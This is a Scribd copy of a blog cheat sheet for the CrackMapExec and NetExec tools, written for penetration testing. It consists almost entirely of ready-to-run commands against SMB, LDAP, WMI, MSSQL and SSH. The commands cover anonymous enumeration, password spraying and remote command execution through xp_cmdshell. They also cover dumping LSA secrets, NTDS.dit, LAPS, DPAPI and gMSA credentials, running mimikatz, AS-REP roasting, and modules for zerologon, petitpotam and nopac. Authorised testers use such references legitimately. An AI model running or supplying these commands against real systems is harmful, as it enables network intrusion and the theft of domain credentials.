Scribd
Upload
813 views

CrackMapExec and NetExec Cheat Sheet

The document provides a cheat sheet of useful commands for CrackMapExec and NetExec for pentesting, including commands for enumeration, password spraying, dumping secrets, and useful modules.

Uploaded by

setyahangga3
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
813 views

CrackMapExec and NetExec Cheat Sheet

The document provides a cheat sheet of useful commands for CrackMapExec and NetExec for pentesting, including commands for enumeration, password spraying, dumping secrets, and useful modules.

Uploaded by

setyahangga3
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 10

CrackMapExec and NetExec Cheat Sheet

seriotonctf.github.io/2024/03/07/CrackMapExec-and-NetExec-Cheat-Sheet/

A cheat sheet for CrackMapExec and NetExec, featuring useful commands and modules for different
services to use during Pentesting

CrackMapExec: https://github.com/byt3bl33d3r/CrackMapExec (no longer maintained)

1/10
NetExec: https://github.com/Pennyw0rth/NetExec

Installation: https://www.netexec.wiki/getting-started/installation

The same commands for crackmapexec would also work for NetExec

Other names: cme, nxc

Enumeration

Initial Enumeration
bash

crackmapexec smb
target

Null Authentication
bash

crackmapexec smb target -u ''


-p ''

Guest Authentication
bash

crackmapexec smb target -u 'guest'


-p ''

List Shares
bash

crackmapexec smb target -u '' -p '' --


shares

2/10
bash

crackmapexec smb target -u username -p password --


shares

List Usernames
bash

crackmapexec smb target -u '' -p '' --


users

bash

crackmapexec smb target -u '' -p '' --rid-


brute

bash

crackmapexec smb target -u username -p password --


users

Local Authentication
bash

crackmapexec smb target -u username -p password --


local-auth

Using Kerberos
bash

crackmapexec smb target -u username -p


password -k

Check for hosts that have SMB signing disabled

3/10
bash

crackmapexec smb target(s) --gen-relay-list


relay.txt

Spraying

Password Spray
bash

crackmapexec smb target -u users.txt -p password --continue-on-


success

bash

crackmapexec smb target -u usernames.txt -p passwords.txt --no-bruteforce --continue-on-


success

bash

crackmapexec ssh target(s) -u username -p password --continue-on-


success

SMB

All In One
bash

crackmapexec smb target -u username -p password --groups --local-groups --loggedon-users --


rid-brute --sessions --users --shares --pass-pol

Spider_plus Module

4/10
bash

crackmapexec smb target -u username -p password -M


spider_plus

bash

crackmapexec smb target -u username -p password -M spider_plus -o


READ_ONLY=false

Dump a specific file


bash

crackmapexec smb target -u username -p password -k --get-file target_file output_file --share


sharename

LDAP

Enumerate users using ldap


bash

crackmapexec ldap target -u '' -p '' --


users

All In One
bash

crackmapexec ldap target -u username -p password --trusted-for-delegation --password-not-


required --admin-count --users --groups

WMI

5/10
bash

cme wmi target(s) -d domain -u username -p password [-H hash] -M


mimikatz

MSSQL

Authentication
bash

crackmapexec mssql target -u username -p


password

Execute commands using xp_cmdshell

-X for powershell and -x for cmd

bash

crackmapexec mssql target -u username -p password -x


command_to_execute

Get a file
bash

crackmapexec mssql target -u username -p password --get-file output_file


target_file

Secrets Dump

Dump LSA secrets


bash

crackmapexec smb target -u username -p password --local-auth


--lsa

6/10
gMSA
bash

crackmapexec ldap target -u username -p password --gmsa-convert-


id id

bash

crackmapexec ldap domain -u username -p password --gmsa-decrypt-lsa


gmsa_account

Group Policy Preferences


bash

crackmapexec smb target -u username -p password -M


gpp_password

Dump LAPS password


bash

crackmapexec smb target -u username -p password -


-laps

Dump dpapi credentials


bash

crackmapexec smb target -u username -p password --laps --


dpapi

Dump NTDS.dit

7/10
bash

crackmapexec smb target -u username -p password -


-ntds

Asreproast
bash

crackmapexec ldap target -u username -p password --asreproast


asrep.txt

Bloodhound
bash

crackmapexec ldap target -u username -p password --bloodhound -ns ip --


collection All

Useful Modules

Webdav
Checks whether the WebClient service is running on the target

bash

crackmapexec smb ip -u username -p password -M


webdav

Veeam
Extracts credentials from local Veeam SQL Database

bash

crackmapexec smb target -u username -p password -M


veeam

8/10
slinky
Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in
all shares with write permissions

bash

crackmapexec smb ip -u username -p password -M


slinky

ntdsutil
Dump NTDS with ntdsutil

bash

crackmapexec smb ip -u username -p password -M


ntdsutil

ldap-checker
Checks whether LDAP signing and binding are required and/or enforced

bash

cme ldap target -u username -p password -M ldap-


checker

bash

crackmapexec smb target -u username -p password -M


zerologon

bash

crackmapexec smb target -u username -p password -M


petitpotam

9/10
bash

crackmapexec smb target -u username -p password -M


nopac

Check the MachineAccountQuota


bash

crackmapexec ldap target -u username -p password -


M maq

ADCS Enumeration
bash

crackmapexec ldap target -u username -p password -M


adcs

Author: serioton
Link: https://seriotonctf.github.io/2024/03/07/CrackMapExec-and-NetExec-Cheat-Sheet/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
cheatsheet

10/10

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy